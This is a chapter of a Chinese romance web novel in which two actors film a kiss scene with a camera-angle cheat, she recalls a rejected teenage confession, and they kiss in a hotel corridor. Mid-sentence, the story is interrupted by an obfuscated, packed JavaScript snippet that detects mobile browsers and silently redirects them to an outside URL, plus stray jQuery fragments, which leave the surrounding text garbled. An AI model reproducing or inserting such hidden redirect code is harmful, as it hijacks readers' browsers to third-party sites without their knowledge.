大夜戏一直拍到早上五点。
收工时，天已经亮了。
影视基地外的早餐摊刚支起来，群演裹着羽绒服蹲在路边喝豆浆。李乐知坐上车，眼睛还被灯照得发酸。
回到酒店洗完澡，窗外已经有了车流声。
她把剧本放在床头，手机搁在旁边，几乎沾到枕头便睡了过去。
再醒来时，已经下午一点。
闹钟刚响过一轮。李乐知坐起来缓了一会儿，才伸手拿过床头的剧本。
夹在里面的拍立得随之滑落，掉在被子上。
照片里，她对着镜头笑。
顾深站在她身边，偏过脸看着她。
李乐知看了一会儿，把照片放到床头。
*
下午，等她做好妆造赶到主棚，灯市后巷还在调光。两侧挂起红灯笼，风机试了两遍，灯影才落到柳城浩要的位置。
顾深正在监视器旁和副导演确认走位。
她刚走进棚里，他便转了过来。
李乐知也看见了他，朝他点了下头，才跟着小圆去了休息区。
小圆提醒：“乐知姐，柳导说先等灯。”
“好。”
李乐知坐下来，翻到第四十二场。
副导演被摄影指导叫走后，顾深拿着剧本朝她这边走来。
他停在休息椅旁。第四十二场的最后两行，正摊在两个人之间。
【裴行舟托住阿照的脸，俯身渡息。】
【唇相触。】
场务在那边喊：“两位老师，准备走位。”
李乐知起身。
“走吧，顾老师。”
柳城浩正在监视器后看分镜，见两人过来，让摄影指导重新讲了一遍位置。
“阿照靠墙，裴行舟从巷口进。近景推到唇边，距离要卡准，侧机位不能露。”
柳城浩说：“这场先按救命拍，别往情动里走。”
他对李乐知说：“阿照意识已经散了，不知道裴行舟靠近，也不知道他做了什么。”
又对顾深说：“裴行舟的情绪收住，别抢后面的吻戏。”
两个人都应了声好。
摄影指导补充：“借位能拍，实拍会更满一点。”
柳城浩问：“借位走一条，还是实拍试一条？”
顾深没有立刻回答，转头看向李乐知，像是在等她的意思。
柳城浩问的只是拍法，她却在这一眼里，听见了另一个问题。
李乐知握着剧本，指尖无意识地蹭过纸页边缘。
昨晚孔明灯下，他朝她走近的那半步还很清楚。
她抬起眼，正好撞进顾深的视线里，一时不知道该怎么开口。
过了片刻，顾深说：“先借位。”
指尖停住。
李乐知垂下眼，将微微卷起的纸页慢慢理平。
剧本上，“唇相触”三个字还落在那里。
五年前，她第一次在顾深的剧本里看见吻戏。
那时她趴在旁边写作业，草稿纸上密密麻麻全是算式。
顾深坐在另一侧看剧本，手边放着一支黑色签字笔，偶尔在台词旁边记记笔记。
她原本只是等他看完这一页。
其实在那之前，顾深已经开始变得不太一样。
过马路时，他的手伸到一半，会改去扶她的书包带。她在沙发上睡着，他也不再直接把她抱回房间，只把毯子盖到她身上。她洗完头发跑出来，发尾还滴着水，顾深拿起吹风机，最后又放回桌上，让她自己吹干。
连她喊他“顾深哥哥”，他有时也会隔一会儿才应。
那时的她察觉到了，顾深对她不像从前那样自然。
可她不敢问。她怕一问出口，那些停在半路的手、放回桌上的吹风机，都会有了答案。
那段时间，顾深的新剧本里第一次出现了吻戏。
剧本摊在桌上，场次旁边写着亲密动作。
她原本趴在旁边做题，眼睛扫过去，笔尖在草稿纸上划出一道长痕。她把作业本往自己这边拖了拖。
顾深问：“怎么了？”
“顾深哥哥。”她装作只是随口问，“拍吻戏是什么感觉啊？”
顾深翻剧本的手停了下，说：“还没拍。”
她低着头，草稿纸上的题已经算不下去了。
“那你想拍吗？”
问完，她马上补了一句：“我就是随便问问。”
顾深把剧本合上一角。
“工作。”
她捏着笔，好一会儿没写字。
“就只是工作吗？”
顾深说：“那还能是什么？”
她答不上来，最后只把作业本翻到下一页。
“不问了。”
后来，那场吻戏真的排上了通告。
那段时间，家里的事情都挤在一起。
陆笑言和江蕙的出现，妈妈与陆家走到了尽头，顾深也越来越红。
还有那场她怎么也绕不过去的吻戏。
她一遍遍告诉自己，那只是工作。
可她去片场探班那天，工作人员拿着通告单来回确认，她听见有人说亲密戏先清场，把顾深的名字和另一个女演员的名字放在同一场戏里……
她的心口还是一点点揪紧。
她跑去顾深的化妆间。
顾深刚做完戏内妆造，镜前灯还亮着。他见她红着眼睛，把手里的剧本放下。
“怎么了？”
她摇头，想说没事。可是眼泪先掉下来。
片场那边有人在催：“顾老师，准备了。”
那声催促隔着门传进来，把她刚才好不容易收起来的慌又翻出来。
“顾深哥哥……”
“能不能不拍吻戏？”
她哭着说：“我不想要你和别人拍吻戏。”
说完，她跑过去吻了他。
把那点说不清、藏不住，也不知道该怎么放好的心意，全都递到他面前。
顾深僵住。
化妆间外还有人走动，场务在低声确认下一场调度。隔着一扇门，那些声音忽远忽近。
李乐知抓着他的衣袖，眼泪还在掉。
片刻后，顾深还是抬手，按住她的肩，把距离拉开。
“乐知。”
他的声音低下去。
“我是哥哥。”
她从小最喜欢的称呼，第一次成了一道不能再往前的界线。
李乐知看着他，眼里的光一点点暗了。
那场吻戏后来没有在那天拍成。导演组临时调了进度。
可她没有再问。
第二天，她和妈妈一起离开了澜市，飞去了英国。
“乐知，准备走位。”
柳城浩的声音从监视器后传来。
李乐知回到灯市后巷。
红灯笼已经亮了，顾深站在巷口的标记点上。
柳城浩说：“先借位走一条。”
她把剧本递给小圆。
“顾老师放心。”
顾深转过来。
李乐知说：“我会借好的。”
场记拿着板走进来：“第四十二场三镜一次。”
板声落下。
阿照受了重伤，沿着潮湿的石墙滑下去。断掉的灯骨从手中脱落，碰到地面，滚进晃动的灯影里。
红衣被水浸透了一半，发丝贴着脸侧，呼吸已经很浅。
裴行舟从巷口赶来，在她面前蹲下。一只手扶住她的肩背，另一只手托住她的下颌。
阿照的头无力地偏向一侧。
裴行舟将她扶稳，俯身靠近。
镜头从他肩后缓缓推进。
李乐知闭着眼。
顾深的呼吸落到她唇边。
再近一些，就会真的碰上。
她知道顾深该停了。
眼睫先动了一下。
“卡。”
柳城浩从监视器后开口：“乐知，眼睫早了。”
李乐知睁开眼，顾深已经退开。
“你在等借位的停点。”柳城浩说，“阿照不知道裴行舟什么时候靠近，更不知道他会停在哪里。”
他说的是阿照。李乐知却忽然觉得，那句话也像在说自己。
“好，明白。”她低声应道。
工作人员重新摆好灯骨，理顺她的衣摆。
场记第二次走进镜头。
“第四十二场三镜二次。”
板声落下。
阿照重新靠回石墙。
顾深扶住她的肩背。李乐知卸了力，整个人靠进他臂弯。
裴行舟托住她，俯身靠近。
这次，她只等阿照醒过来。
顾深的呼吸落到她唇边。
镜头继续推近。
监视器里，裴行舟已经吻住了阿照。
镜头外，两个人之间仍隔着一点距离。
片刻后，她垂在身侧的手指动了动，呼吸终于续上。
“卡。”
柳城浩将近景重新放了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761545|208196||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
遍，监视器里看不出借位的痕迹。
“这条留。”
李乐知从墙边站直。
小圆拿着水和外套跑过来，“乐知姐，先去补眼妆。”
顾深从布景走出来，在后面叫她。
“乐知。”
李乐知却没回头，接过小圆递来的外套，“走吧。”
她跟着小圆去了化妆棚。
*
夜里十一点多，今天的拍摄才收了尾。
室外起了风，比白天冷了不少。李乐知从化妆棚出来时，主棚外还亮着几盏工作灯，场务正收最后一批道具。
小圆抱着外套等在门口，见她出来，连忙递过去。
“乐知姐，外面冷。”
李乐知披上外套，跟着她往停车区走。
剧组车往酒店开。小圆坐在旁边，低声和她确认明早的出发时间。
李乐知都应下，之后便靠进椅背。
窗外的路灯一路后退。下午顾深那句“先借位”，却一直留在她脑子里。
进了酒店，小圆还在说：“明早七点半，我过来叫你。”
“好。”
电梯在剧组住的楼层停下。
门打开，李乐知刚要出去，脚步便停住了。
顾深穿着黑色大衣，站在安全通道门旁。
听见动静，他抬起头，按灭手机屏幕收进口袋，目光随即落到她身上。
小圆也看见了他，拎着包往旁边让了让，“乐知姐，我先回房整理明天的东西。”
李乐知应了声好。
小圆走向另一边，电梯门也在身后关上。走廊一下安静，只剩中央空调送风的细响。
李乐知拿着房卡走过去。
她停在几步之外，仍旧叫他：“顾老师。”
这一声叫得平稳又客气。
顾深直接问：“生气了？”
“我有什么好生气的。”
李乐知答得很快。
快得像是这句话早就在心里准备好了，只等他开口。
顾深没有接她这句，往前走了一步，距离仍留得克制。
“刚才选借位，是怕情绪太满。”
李乐知抬起眼，视线在他脸上停了片刻。
“我知道。”她顿了顿，“你有你的理由，不用跟我解释。”
这句话说出口时，连她自己都怔了一下。
她说的好像已经不止下午那场戏。
五年前那句“我是哥哥”，和今天的“先借位”叠在一起，顾深每一次都有理由。
只是那些理由里，从来没有她想听的答案。
她原本以为，这些天顾深一次次朝她走近，或许真的代表着什么。
现在看来，是自己又一次想多了。
他对她好，也愿意照顾她。
可他不想吻她。
顾深的声音沉了下来。
“不是你以为的那个理由。”
“那是什么？”
“只是这场戏该这么拍。”
他的语气和下午一样平静。
李乐知也明白，这一场只是渡息。真吻会让裴行舟藏着的情绪露得太早。换成她，或许也会选借位。
顾深没有选错。
可柳城浩问出“借位还是实拍”时，她的确等过另一个答案。
“嗯。”她说，“你选得对。”
说完便越过他，朝房间走去。
她不想再谈。再多说一句，那点她连自己都不愿承认的期待，就会变得太清楚。
她刚走出两步，顾深的声音从身后传来。
“你觉得我借位，是因为不愿意？”
李乐知的脚步慢慢停下。
她攥紧房卡，边角硌进掌心。
她回头：“难道不是吗？”
“不是不愿意。”
顾深站在原地，语气里听不出迟疑。
李乐知看了他半晌。
五年前他推开过她，几个小时前又亲口选了借位。
现在却说，不是不愿意。
她已经不敢把这句话往自己想要的意思里听。
“我不信。”
说完，她转身去刷房卡。
“滴”的一声，感应灯刚亮，手腕忽然被顾深扣住，往后一带。
李乐知被他带得转回来，肩膀撞上他的胸口。房卡还夹在指间，鼻息里那道熟悉的木质香一涌而上，还混着他大衣上带回来的凉气。
她还没来得及站稳，顾深便低头吻住了她。